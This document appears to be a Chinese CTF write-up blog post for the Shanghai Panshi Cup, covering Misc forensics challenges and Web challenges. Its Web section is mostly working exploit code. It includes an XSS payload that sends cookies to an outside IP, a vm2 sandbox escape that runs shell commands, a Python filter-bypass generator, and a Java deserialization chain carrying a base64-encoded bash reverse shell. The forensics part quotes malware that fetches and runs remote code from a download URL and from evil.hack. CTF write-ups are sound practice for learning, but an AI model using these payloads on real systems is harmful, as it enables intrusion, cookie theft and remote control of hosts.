上海磐石杯CTF
本文最后更新于 233 天前,其中的信息可能已经有所发展或是发生改变。

Misc

good_http

  • 一个隐水印,得到密码
    • XD8C2VOKEU

complicated_http

  • 冰蝎🐎
    • https://www.google.com/search?sxsrf=APwXEddcuvlnrbjGl_fogdyP-0Qig8RCsw:1684569790306&q=%E5%86%B0%E8%9D%8E+aes+with+magic&spell=1&sa=X&ved=2ahUKEwjE28y_t4P_AhWyh_0HHV-uBrYQBSgAegQIBRAB
  • 解密脚本
<?php
@error_reporting(0);
function Decrypt($data)  
{   
    $key="9d239b100645bd71"; 
    $magicNum=hexdec(substr($key,0,2))%16; 
    $data=substr($data,0,strlen($data)-$magicNum); 
    return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);  
}
$post=Decrypt("7HJSXpMRP7+UFLe306mY7bibph9lWHtx1iKF7MofJEn2QdI6I5Wj57ZnAhFxAW8sF46EX881N/7ZYMBfcmtXqF36wbZwUpiDIgvghP3TCyp0DdGMWsOQZoLFK6AiStakWhJOGAr77hkyVHCocK/4sNP61e7pin2SXBdjvOA3rPoEKmBdgKFlN74xMy1hLHlwrV3AoYWdodh9zFb91oXD7bv/LdidVjjNrvq9o+R17cAm/wleLy72ZFAsvpvjV5pdgdQSQjvGV2xXqcQUxlyloMHH9d4FBb9Z5gmKTz2k+WBGf8T4t5aSGiQg4vPzHHmWqMrDCu//FWzjK257UEgnO96Z8e1qrj0KeFWP1Yv/4cWKlgjyomfvp5OSm0bTIvC6Zikg4y5yB9fAp6S7gfKsfIpkMWnhoQwKdF77cuT3c/nzcKxC2G28pYSt/jQGe+rgy4Cw02VwFV4K6KI9UB3vhg2oI0rAuhfGjRBRdlVpr2pRa1LbNeeC9xfty+5jmQR8uSyEVaVbVsnnE53Lv2vJMWaWw32Qgf601GWyMTBootuKPPfuhi+d2UL1MFDoQ/D00wQ2sSKiAKsxFJcaBf/13JdvEegggrvV50dI893k/Q9+wWNgUw/D2DgUWKocehRTl2hb+/F0Co6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BIbrDqeJltQ==.._q..Q.&..9.");
echo $post;
// eval($post);
?>
  • 得到
<?
@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    @session_start();  //鍒濆鍖杝ession锛岄伩鍏峜onnect涔嬪悗鐩存帴background锛屽悗缁璯etresult鏃犳硶鑾峰彇cookie

    echo encrypt(json_encode($result));
}

function Encrypt($data)
{
    $key="9d239b100645bd71"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
    $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度
    for($i=0;$i<$magicNum;$i++) {
        $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴
    }
    return $encrypted;
}
$content="bFJST0hFU1hobFVQUzRRS0xHellTUW5oNUVQdTFTeU5lSDNzMjFtVnFjeGpuYjMzOWJDUDVjcUZiNFpRQlRBb25uWlNjSGtXUW1Ha3RyNXFRREg5WUl3aTh3M1JXUFRLRUVaanlHVDdMaTh2VXplMkFLSHpxT1lVczU1SVZ4MnpobGZSaGNQUDR5VVVGN1JmSEpTa0ZPMHF5T1FtZnMxWGVGQ2tNVzhHaG9FVGNWemx0dWk4S2oxNG1mcWxUakNrcFJENEh2ZHlQTHVvd1lzV0NoSzhNcGVHaGZ2bW9tQTJ5NE9BMnozSzZoTmVvc01Bb2EwN0d3TVo5ZjNHcE1jQU82U2NXcENFNkpLbDl2VjJjclI2ZFlnRnI5ZzdFTHdvYlNqSGFZeUdtWERqU3hPdkhIUVIydDdVZjJVbUV0aXFTajhWSHNZZXdJUlQ2cXlMbmc3UzI4SEZZVVlDZjBoZlZrdWRMa0ljSWgyc0lVQmtMZGprZ2pRTEZuN3ZHWm5SNjBWVzdIdnhhU3RWSFRaYVRCV29sY1NIRVV5a2ZvYjZlUGoyTXpGaGhLRGYwZ2RIeTdkTFE3W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tV05NTjlpZUxvbmVOWEJ4TXBHQko0cXZNRmdUb3NYczRpSDRqZDhnNWxaQm9ONEVGc3NnRFN6cEhhSWZ5UmxwWkphQVdqYmMyNFd6VmhDWVJBNzhUc0hQbTBtZG5CSFd6M2MxcTlwTXBZaFVxTnUxNkVOYkc0RURBMWMwMEc0QktWeDFYMFUyQnN6dFNmY2JJcnc=";
$content=base64_decode($content);       
main($content);
  • 发现其读取了flag,位于

优雅内存

  • 查看环境变量,KEYS为解密密钥
    • c156e08e123b3dc6399c6c4e55ba2549
  • 更新volatility3后,dump出flag.png.jpg
  • 再次运行hack.exe得到flag.png,扫描二维码得到flag

非常坏的USB

  • 键盘流量,tshark提取
tshark -r usb.pcapng -Y "usbhid.data" -T fields -e usbhid.data > out.txt 
  • 脚本还原
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"  ","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"  ","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')

for line in keys:
    print(line)
    # print(line[0:2])
    if line[6:8] == "2d":
        output += "_"
    # if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
    #     continue
    if line[6:8] in normalKeys.keys():
        output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        # else:
        #     output += ['[unknown]']
    print(output)
keys.close()

flag=0
# print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
print('output :' + "".join(output))
output :powershell(New_-Object<SPACE>System.Net.WebClient).DownloadFile('https"//github.com/jiayuqi7813/download/releases/download/f/mal.pdf',<SPACE>'C"\word.pdf')cmd<SPACE>/c<SPACE>start<SPACE>C"\word.pdf
  • 下载pdf,上传至在线检测平台,发现存在CVE利用行为
    • https://s.threatbook.com/
  • 建个虚拟机,装个Acrobat Reader,导出hacksun.png
  • 导出secret_info.SettingConetnt-ms时被拒绝导出,通过直接编辑16进制数据改为.png结尾,成功导出文件
    • 注意文件名长度不能变
<PCSettings>
  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
    <ApplicationInformation>
      <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
      <DeepLink>%windir%\system32\cmd.exe /c pow^ers^He^l^l.exe -nO^p -w hid^den -c $I=new-object net.webclient;$key="f38aeb65a88f50a2";$I.proxy=[Net.Webrequest]::GetSystemWebProxy();$key=$key+"373643a82158c6dc";$I.Proxy.Credentials=[Net.CredentialsCache]::DefaultCredentials;IEX $.downloadstring('http://evil.hack/home');
</DeepLink>
      <Icon>%windir%\system32\control.exe</Icon>
    </ApplicationInformation>
    <SettingIdentity>
      <PageID></PageID>
      <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
    </SettingIdentity>
    <SettingInformation>
      <Description>@shell32.dll,-4161</Description>
      <Keywords>@shell32.dll,-4161</Keywords>
    </SettingInformation>
  </SearchableContent>
</PCSettings>
  • 得到key,解加密LSB得到flag

Web

CookieBack

  • hint: 不用关注rt开头的cookie字段
  • xss
</div></pre><img/src=""/onerror=location.href="http://121.4.31.45:443/xss?"+document.cookie><div><pre><div>
  • cookie路由
</div></pre><img/src=""/onerror=location.href="/cookie?data="+document.cookie><div><pre><div>

ezpython

  • 给了运行程序的环境,存在过滤,通过pwnhub的payload直接打
## shell 生成,正常输入payload
shell = f"__import__('os').popen('{input()}').read()"
shell = ','.join([str(ord(i)) for i in shell])
a = f'eval(bytes(({shell})).decode())'
b = list('abcdefghijklmnopqrstuvwxyz')
c = list('abcdefghijklmnopqrstuvwxyz')
assert len(b) == len(c)
for i in range(len(c)):
    a = a.replace(c[i], b[i])
print(a)

easy_node

  • GTG师傅太强了!!!
{"name":"1","properties":"1","code":"const err = new Error();\n  err.name = {\n    toString: new Proxy(() => \"\", {\n      apply(target, thiz, args) {\n        const process = args.constructor.constructor(\"return process\")();\n        throw process.mainModule.require(\"child_process\").execSync(\"curl http://121.4.31.45:443/xss\").toString();\n      },\n    }),\n  };\n  try {\n    err.stack;\n  } catch (stdout) {\n    stdout;\n  }\n"}
  • 要用copyArray绕过 vm2_tester 的检测
  • {“0”:{“0″:[‘vm2_tester’],”length”:”1″},”length”:”1″} 会生成一个嵌套数组 [[‘vm2_tester’]]
{"name":"1","properties":{"0":{"0":["vm2_tester"],"length":"1"},"length":"1"},"code":"const err = new Error();\nerr.name = {\n  toString: new Proxy(() => \"\", {\n    apply(target, thiz, args) {\n      const process = args.constructor.constructor(\"return process\")();\n      throw process.mainModule.require(\"child_process\").execSync(\"ls /;cat /flag\").toString();\n    },\n  }),\n};\ntry {\n  err.stack;\n} catch (stdout) {\n  stdout;\n}"}

fun_java

  • SpringBoot+JDK原生链利用 By Pankas
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.codec.binary.Base64;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class Exp {

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzExMi4xMjQuNDQuMjM4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "boogipop");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode jsonNodes = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);
        objectOutputStream.close();
        String res = Base64.encodeBase64String(barr.toByteArray());
        System.out.println(res);

    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}
  • payload
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5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bC9Qcm9wZXJ0aWVzO3hwAAAAAP////8AdAADYWxscHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGzyv66vgAAADMAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQBhYmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaTlrWlhZdmRHTndMekV4TWk0eE1qUXVORFF1TWpNNEx6RXlNelFnTUQ0bU1RPT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEABmEuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAXcHQACGJvb2dpcG9wcHcBAHg=

easy_log

  • 观察发现日志是 .php结尾的,后端程序会将用户名和密码hash记录在日志中,测试发现用户名这里有waf,可以使用数组来绕过
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇